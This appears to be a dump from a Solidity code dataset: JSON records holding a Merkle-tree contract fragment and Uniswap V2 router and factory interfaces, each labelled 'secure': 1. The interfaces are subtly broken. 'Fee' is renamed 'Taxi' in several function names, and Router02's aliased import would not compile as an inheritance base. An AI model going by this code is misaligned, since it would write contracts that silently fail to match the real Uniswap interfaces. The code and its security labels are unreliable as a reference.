_leaf;\n bytes32 left;\n bytes32 right;\n\n for (uint32 i = 0; i < levels; i++) {\n if (currentIndex % 2 == 0) {\n left = currentLevelHash;\n right = zeros(i);\n filledSubtrees[i] = currentLevelHash;\n } else {\n left = filledSubtrees[i];\n right = currentLevelHash;\n }\n currentLevelHash = hashLeftRight(uint256(left), uint256(right));\n currentIndex /= 2;\n }\n\n uint32 newRootIndex = (currentRootIndex + 1) % ROOT_HISTORY_SIZE;\n currentRootIndex = newRootIndex;\n roots[newRootIndex] = currentLevelHash;\n nextIndex = _nextIndex + 1;\n return _nextIndex;\n }\n\n function isKnownRoot(bytes32 _root) public view returns (bool) {\n if (_root == 0) {\n return false;\n }\n uint32 _currentRootIndex = currentRootIndex;\n uint32 i = _currentRootIndex;\n do {\n if (_root == roots[i]) {\n return true;\n }\n if (i == 0) {\n i = ROOT_HISTORY_SIZE;\n }\n i--;\n } while (i != _currentRootIndex);\n return false;\n }\n\n function getLastRoot() public view returns (bytes32) {\n return roots[currentRootIndex];\n }\n\n function zeros(uint256 i) public pure returns (bytes32) {\n if (i == 0)\n return\n bytes32(\n 0x2fe54c60d3acabf3343a35b6eba15db4821b340f76e741e2249685ed4899af6c\n );\n else if (i == 1)\n return\n bytes32(\n 0x256a6135777eee2fd26f54b8b7037a25439d5235caee224154186d2b8a52e31d\n );\n else if (i == 2)\n return\n bytes32(\n 0x1151949895e82ab19924de92c40a3d6f7bcb60d92b00504b8199613683f0c200\n );\n else if (i == 3)\n return\n bytes32(\n 0x20121ee811489ff8d61f09fb89e313f14959a0f28bb428a20dba6b0b068b3bdb\n );\n else if (i == 4)\n return\n bytes32(\n 0x0a89ca6ffa14cc462cfedb842c30ed221a50a3d6bf022a6a57dc82ab24c157c9\n );\n else if (i == 5)\n return\n bytes32(\n 0x24ca05c2b5cd42e890d6be94c68d0689f4f21c9cec9c0f13fe41d566dfb54959\n );\n else if (i == 6)\n return\n bytes32(\n 0x1ccb97c932565a92c60156bdba2d08f3bf1377464e025cee765679e604a7315c\n );\n else if (i == 7)\n return\n bytes32(\n 0x19156fbd7d1a8bf5cba8909367de1b624534ebab4f0f79e003bccdd1b182bdb4\n );\n else if (i == 8)\n return\n bytes32(\n 0x261af8c1f0912e465744641409f622d466c3920ac6e5ff37e36604cb11dfff80\n );\n else if (i == 9)\n return\n bytes32(\n 0x0058459724ff6ca5a1652fcbc3e82b93895cf08e975b19beab3f54c217d1c007\n );\n else if (i == 10)\n return\n bytes32(\n 0x1f04ef20dee48d39984d8eabe768a70eafa6310ad20849d4573c3c40c2ad1e30\n );\n else if (i == 11)\n return\n bytes32(\n 0x1bea3dec5dab51567ce7e200a30f7ba6d4276aeaa53e2686f962a46c66d511e5\n );\n else if (i == 12)\n return\n bytes32(\n 0x0ee0f941e2da4b9e31c3ca97a40d8fa9ce68d97c084177071b3cb46cd3372f0f\n );\n else if (i == 13)\n return\n bytes32(\n 0x1ca9503e8935884501bbaf20be14eb4c46b89772c97b96e3b2ebf3a36a948bbd\n );\n else if (i == 14)\n return\n bytes32(\n 0x133a80e30697cd55d8f7d4b0965b7be24057ba5dc3da898ee2187232446cb108\n );\n else if (i == 15)\n return\n bytes32(\n 0x13e6d8fc88839ed76e182c2a779af5b2c0da9dd18c90427a644f7e148a6253b6\n );\n else if (i == 16)\n return\n bytes32(\n 0x1eb16b057a477f4bc8f572ea6bee39561098f78f15bfb3699dcbb7bd8db61854\n );\n else if (i == 17)\n return\n bytes32(\n 0x0da2cb16a1ceaabf1c16b838f7a9e3f2a3a3088d9e0a6debaa748114620696ea\n );\n else if (i == 18)\n return\n bytes32(\n 0x24a3b3d822420b14b5d8cb6c28a574f01e98ea9e940551d2ebd75cee12649f9d\n );\n else if (i == 19)\n return\n bytes32(\n 0x198622acbd783d1b0d9064105b1fc8e4d8889de95c4c519b3f635809fe6afc05\n );\n else if (i == 20)\n return\n bytes32(\n 0x29d7ed391256ccc3ea596c86e933b89ff339d25ea8ddced975ae2fe30b5296d4\n );\n else if (i == 21)\n return\n bytes32(\n 0x19be59f2f0413ce78c0c3703a3a5451b1d7f39629fa33abd11548a76065b2967\n );\n else if (i == 22)\n return\n bytes32(\n 0x1ff3f61797e538b70e619310d33f2a063e7eb59104e112e95738da1254dc3453\n );\n else if (i == 23)\n return\n bytes32(\n 0x10c16ae9959cf8358980d9dd9616e48228737310a10e2b6b731c1a548f036c48\n );\n else if (i == 24)\n return\n bytes32(\n 0x0ba433a63174a90ac20992e75e3095496812b652685b5e1a2eae0b1bf4e8fcd1\n );\n else if (i == 25)\n return\n bytes32(\n 0x019ddb9df2bc98d987d0dfeca9d2b643deafab8f7036562e627c3667266a044c\n );\n else if (i == 26)\n return\n bytes32(\n 0x2d3c88b23175c5a5565db928414c66d1912b11acf974b2e644caaac04739ce99\n );\n else if (i == 27)\n return\n bytes32(\n 0x2eab55f6ae4e66e32c5189eed5c470840863445760f5ed7e7b69b2a62600f354\n );\n else if (i == 28)\n return\n bytes32(\n 0x002df37a2642621802383cf952bf4dd1f32e05433beeb1fd41031fb7eace979d\n );\n else if (i == 29)\n return\n bytes32(\n 0x104aeb41435db66c3e62feccc1d6f5d98d0a0ed75d1374db457cf462e3a1f427\n );\n else if (i == 30)\n return\n bytes32(\n 0x1f3c6fd858e9a7d4b0d1f38e256a09d81d5a5e3c963987e2d4b814cfab7c6ebb\n );\n else if (i == 31)\n return\n bytes32(\n 0x2c7a07d20dff79d01fecedc1134284a8d08436606c93693b67e333f671bf69cc\n );\n else revert(\"Index out of bounds\");\n }\n}",
"file_name": "solidity_code_1986.sol",
"secure": 1,
"size_bytes": 9433
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 AmountADesired,\n uint256 AmountBDesired,\n uint256 AmountAMin,\n uint256 AmountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 AmountA, uint256 AmountB, uint256 liquidity);\n function addLiquidityETH(\n address token,\n uint256 AmountTokenDesired,\n uint256 AmountTokenMin,\n uint256 AmountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 AmountToken, uint256 AmountETH, uint256 liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 AmountAMin,\n uint256 AmountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 AmountA, uint256 AmountB);\n function removeLiquidityETH(\n address token,\n uint256 liquidity,\n uint256 AmountTokenMin,\n uint256 AmountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 AmountToken, uint256 AmountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 AmountAMin,\n uint256 AmountBMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 AmountA, uint256 AmountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint256 liquidity,\n uint256 AmountTokenMin,\n uint256 AmountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 AmountToken, uint256 AmountETH);\n function swapExactTokensForTokens(\n uint256 AmountIn,\n uint256 AmountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory Amounts);\n function swapTokensForExactTokens(\n uint256 AmountOut,\n uint256 AmountInMax,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory Amounts);\n function swapExactETHForTokens(\n uint256 AmountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory Amounts);\n function swapTokensForExactETH(\n uint256 AmountOut,\n uint256 AmountInMax,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory Amounts);\n function swapExactTokensForETH(\n uint256 AmountIn,\n uint256 AmountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory Amounts);\n function swapETHForExactTokens(\n uint256 AmountOut,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory Amounts);\n\n function quote(\n uint256 AmountA,\n uint256 reserveA,\n uint256 reserveB\n ) external pure returns (uint256 AmountB);\n function getAmountOut(\n uint256 AmountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 AmountOut);\n function getAmountIn(\n uint256 AmountOut,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 AmountIn);\n function getAmountsOut(\n uint256 AmountIn,\n address[] calldata path\n ) external view returns (uint256[] memory Amounts);\n function getAmountsIn(\n uint256 AmountOut,\n address[] calldata path\n ) external view returns (uint256[] memory Amounts);\n}",
"file_name": "solidity_code_1987.sol",
"secure": 1,
"size_bytes": 4217
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingTaxiOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 AmountTokenMin,\n uint256 AmountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 AmountETH);\n function removeLiquidityETHWithPermitSupportingTaxiOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 AmountTokenMin,\n uint256 AmountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 AmountETH);\n\n function swapExactTokensForTokensSupportingTaxiOnTransferTokens(\n uint256 AmountIn,\n uint256 AmountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n function swapExactETHForTokensSupportingTaxiOnTransferTokens(\n uint256 AmountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n function swapExactTokensForETHSupportingTaxiOnTransferTokens(\n uint256 AmountIn,\n uint256 AmountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_1988.sol",
"secure": 1,
"size_bytes": 1511
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function TaxiTo() external view returns (address);\n function TaxiToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n function allPairs(uint256) external view returns (address pair);\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setTaxiTo(address) external;\n function setTaxiToSetter(address) external;\n}",
"file_name": "solidity_code_1989.sol",
"secure": 1,
"size_bytes": 816
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.